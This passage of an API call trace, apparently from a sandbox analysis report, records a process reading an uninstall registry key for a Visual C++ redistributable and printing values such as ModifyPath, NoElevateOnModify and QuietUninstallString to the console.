CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.637] GetConsoleOutputCP () returned 0x1b5 [0149.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.637] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.637] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.637] lstrlenW (lpString="ModifyPath") returned 10 [0149.637] __iob_func () returned 0x7fefd702a80 [0149.637] _fileno (_File=0x7fefd702ab0) returned 1 [0149.637] _errno () returned 0x204bb0 [0149.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.637] _errno () returned 0x204bb0 [0149.637] GetFileType (hFile=0x50) returned 0x1 [0149.637] lstrlenW (lpString="ModifyPath") returned 10 [0149.638] GetConsoleOutputCP () returned 0x1b5 [0149.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.638] GetConsoleOutputCP () returned 0x1b5 [0149.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0149.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.638] __iob_func () returned 0x7fefd702a80 [0149.638] _fileno (_File=0x7fefd702ab0) returned 1 [0149.638] _errno () returned 0x204bb0 [0149.638] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.638] _errno () returned 0x204bb0 [0149.638] GetFileType (hFile=0x50) returned 0x1 [0149.638] lstrlenW (lpString=" ") returned 4 [0149.638] GetConsoleOutputCP () returned 0x1b5 [0149.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.638] GetConsoleOutputCP () returned 0x1b5 [0149.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.639] __iob_func () returned 0x7fefd702a80 [0149.639] _fileno (_File=0x7fefd702ab0) returned 1 [0149.639] _errno () returned 0x204bb0 [0149.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.639] _errno () returned 0x204bb0 [0149.639] GetFileType (hFile=0x50) returned 0x1 [0149.639] lstrlenW (lpString="REG_SZ") returned 6 [0149.639] GetConsoleOutputCP () returned 0x1b5 [0149.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.639] GetConsoleOutputCP () returned 0x1b5 [0149.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.639] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.639] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.639] __iob_func () returned 0x7fefd702a80 [0149.639] _fileno (_File=0x7fefd702ab0) returned 1 [0149.639] _errno () returned 0x204bb0 [0149.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.639] _errno () returned 0x204bb0 [0149.639] GetFileType (hFile=0x50) returned 0x1 [0149.639] lstrlenW (lpString=" ") returned 4 [0149.639] GetConsoleOutputCP () returned 0x1b5 [0149.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.640] GetConsoleOutputCP () returned 0x1b5 [0149.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.640] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.640] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.640] __iob_func () returned 0x7fefd702a80 [0149.640] _fileno (_File=0x7fefd702ab0) returned 1 [0149.640] _errno () returned 0x204bb0 [0149.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.640] _errno () returned 0x204bb0 [0149.640] GetFileType (hFile=0x50) returned 0x1 [0149.640] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /modify") returned 94 [0149.640] GetConsoleOutputCP () returned 0x1b5 [0149.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /modify", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94 [0149.640] GetConsoleOutputCP () returned 0x1b5 [0149.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /modify", cchWideChar=94, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /modify", lpUsedDefaultChar=0x0) returned 94 [0149.640] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 94 [0149.640] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.640] __iob_func () returned 0x7fefd702a80 [0149.640] _fileno (_File=0x7fefd702ab0) returned 1 [0149.640] _errno () returned 0x204bb0 [0149.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.640] _errno () returned 0x204bb0 [0149.640] GetFileType (hFile=0x50) returned 0x1 [0149.640] lstrlenW (lpString="\n") returned 1 [0149.641] GetConsoleOutputCP () returned 0x1b5 [0149.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.641] GetConsoleOutputCP () returned 0x1b5 [0149.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.641] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.641] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.641] GetProcessHeap () returned 0x3c0000 [0149.641] GetProcessHeap () returned 0x3c0000 [0149.641] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.641] GetProcessHeap () returned 0x3c0000 [0149.641] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0149.641] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.641] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoElevateOnModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.641] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.641] GetProcessHeap () returned 0x3c0000 [0149.641] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.641] GetProcessHeap () returned 0x3c0000 [0149.641] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.641] GetProcessHeap () returned 0x3c0000 [0149.641] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.641] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.641] __iob_func () returned 0x7fefd702a80 [0149.641] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.641] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.642] _fileno (_File=0x7fefd702ab0) returned 1 [0149.642] _errno () returned 0x204bb0 [0149.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.642] _errno () returned 0x204bb0 [0149.642] GetFileType (hFile=0x50) returned 0x1 [0149.642] lstrlenW (lpString=" ") returned 4 [0149.642] GetConsoleOutputCP () returned 0x1b5 [0149.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.642] GetConsoleOutputCP () returned 0x1b5 [0149.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.642] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.642] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.642] lstrlenW (lpString="NoElevateOnModify") returned 17 [0149.642] __iob_func () returned 0x7fefd702a80 [0149.642] _fileno (_File=0x7fefd702ab0) returned 1 [0149.642] _errno () returned 0x204bb0 [0149.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.642] _errno () returned 0x204bb0 [0149.642] GetFileType (hFile=0x50) returned 0x1 [0149.642] lstrlenW (lpString="NoElevateOnModify") returned 17 [0149.642] GetConsoleOutputCP () returned 0x1b5 [0149.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.642] GetConsoleOutputCP () returned 0x1b5 [0149.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoElevateOnModify", lpUsedDefaultChar=0x0) returned 17 [0149.643] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.643] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.643] __iob_func () returned 0x7fefd702a80 [0149.643] _fileno (_File=0x7fefd702ab0) returned 1 [0149.643] _errno () returned 0x204bb0 [0149.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.643] _errno () returned 0x204bb0 [0149.643] GetFileType (hFile=0x50) returned 0x1 [0149.643] lstrlenW (lpString=" ") returned 4 [0149.643] GetConsoleOutputCP () returned 0x1b5 [0149.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.643] GetConsoleOutputCP () returned 0x1b5 [0149.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.643] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.643] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.643] __iob_func () returned 0x7fefd702a80 [0149.643] _fileno (_File=0x7fefd702ab0) returned 1 [0149.643] _errno () returned 0x204bb0 [0149.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.643] _errno () returned 0x204bb0 [0149.643] GetFileType (hFile=0x50) returned 0x1 [0149.643] lstrlenW (lpString="REG_DWORD") returned 9 [0149.644] GetConsoleOutputCP () returned 0x1b5 [0149.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.644] GetConsoleOutputCP () returned 0x1b5 [0149.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.644] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.644] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.644] __iob_func () returned 0x7fefd702a80 [0149.644] _fileno (_File=0x7fefd702ab0) returned 1 [0149.644] _errno () returned 0x204bb0 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.644] _errno () returned 0x204bb0 [0149.644] GetFileType (hFile=0x50) returned 0x1 [0149.644] lstrlenW (lpString=" ") returned 4 [0149.644] GetConsoleOutputCP () returned 0x1b5 [0149.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.644] GetConsoleOutputCP () returned 0x1b5 [0149.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.644] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.644] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.645] __iob_func () returned 0x7fefd702a80 [0149.645] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.645] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.645] _fileno (_File=0x7fefd702ab0) returned 1 [0149.645] _errno () returned 0x204bb0 [0149.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.645] _errno () returned 0x204bb0 [0149.645] GetFileType (hFile=0x50) returned 0x1 [0149.645] lstrlenW (lpString="0x1") returned 3 [0149.645] GetConsoleOutputCP () returned 0x1b5 [0149.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.645] GetConsoleOutputCP () returned 0x1b5 [0149.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.645] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.645] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.645] __iob_func () returned 0x7fefd702a80 [0149.645] _fileno (_File=0x7fefd702ab0) returned 1 [0149.645] _errno () returned 0x204bb0 [0149.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.645] _errno () returned 0x204bb0 [0149.645] GetFileType (hFile=0x50) returned 0x1 [0149.645] lstrlenW (lpString="\n") returned 1 [0149.645] GetConsoleOutputCP () returned 0x1b5 [0149.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.646] GetConsoleOutputCP () returned 0x1b5 [0149.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.646] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.646] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.646] GetProcessHeap () returned 0x3c0000 [0149.646] GetProcessHeap () returned 0x3c0000 [0149.646] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.646] GetProcessHeap () returned 0x3c0000 [0149.646] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.646] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.646] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="QuietUninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.646] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xd4) returned 0x0 [0149.646] GetProcessHeap () returned 0x3c0000 [0149.646] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xd6) returned 0x3e1c70 [0149.646] GetProcessHeap () returned 0x3c0000 [0149.646] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.646] GetProcessHeap () returned 0x3c0000 [0149.646] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0149.646] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xd4 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall /quiet", pcbData=0x29f780*=0xd2) returned 0x0 [0149.646] __iob_func () returned 0x7fefd702a80 [0149.646] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.646] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.646] _fileno (_File=0x7fefd702ab0) returned 1 [0149.646] _errno () returned 0x204bb0 [0149.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.646] _errno () returned 0x204bb0 [0149.646] GetFileType (hFile=0x50) returned 0x1 [0149.647] lstrlenW (lpString=" ") returned 4 [0149.647] GetConsoleOutputCP () returned 0x1b5 [0149.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.647] GetConsoleOutputCP () returned 0x1b5 [0149.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.647] lstrlenW (lpString="QuietUninstallString") returned 20 [0149.647] __iob_func () returned 0x7fefd702a80 [0149.647] _fileno (_File=0x7fefd702ab0) returned 1 [0149.647] _errno () returned 0x204bb0 [0149.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.647] _errno () returned 0x204bb0 [0149.647] GetFileType (hFile=0x50) returned 0x1 [0149.647] lstrlenW (lpString="QuietUninstallString") returned 20 [0149.647] GetConsoleOutputCP () returned 0x1b5 [0149.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0149.647] GetConsoleOutputCP () returned 0x1b5 [0149.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuietUninstallString", lpUsedDefaultChar=0x0) returned 20 [0149.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0149.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.648] __iob_func () returned 0x7fefd702a80 [0149.648] _fileno (_File=0x7fefd702ab0) returned 1 [0149.648] _errno () returned 0x204bb0 [0149.648] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.648] _errno () returned 0x204bb0 [0149.648] GetFileType (hFile=0x50) returned 0x1 [0149.648] lstrlenW (lpString=" ") returned 4 [0149.648] GetConsoleOutputCP () returned 0x1b5 [0149.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.648] GetConsoleOutputCP () returned 0x1b5 [0149.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.648] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.648] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.648] __iob_func () returned 0x7fefd702a80 [0149.648] _fileno (_File=0x7fefd702ab0) returned 1 [0149.648] _errno () returned 0x204bb0 [0149.648] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.648] _errno () returned 0x204bb0 [0149.648] GetFileType (hFile=0x50) returned 0x1 [0149.648] lstrlenW (lpString="REG_SZ") returned 6 [0149.648] GetConsoleOutputCP () returned 0x1b5 [0149.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.649] GetConsoleOutputCP () returned 0x1b5 [0149.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.649] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.649] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.649] __iob_func () returned 0x7fefd702a80 [0149.649] _fileno (_File=0x7fefd702ab0) returned 1 [0149.649] _errno () returned 0x204bb0 [0149.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.649] _errno () returned 0x204bb0 [0149.649] GetFileType (hFile=0x50) returned 0x1 [0149.649] lstrlenW (lpString=" ") returned 4 [0149.649] GetConsoleOutputCP () returned 0x1b5 [0149.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.649] GetConsoleOutputCP () returned 0x1b5 [0149.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.649] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.649] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.649] __iob_func () returned 0x7fefd702a80 [0149.649] _fileno (_File=0x7fefd702ab0) returned 1 [0149.649] _errno () returned 0x204bb0 [0149.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.649] _errno () returned 0x204bb0 [0149.649] GetFileType (hFile=0x50) returned 0x1 [0149.650] lstrlenW 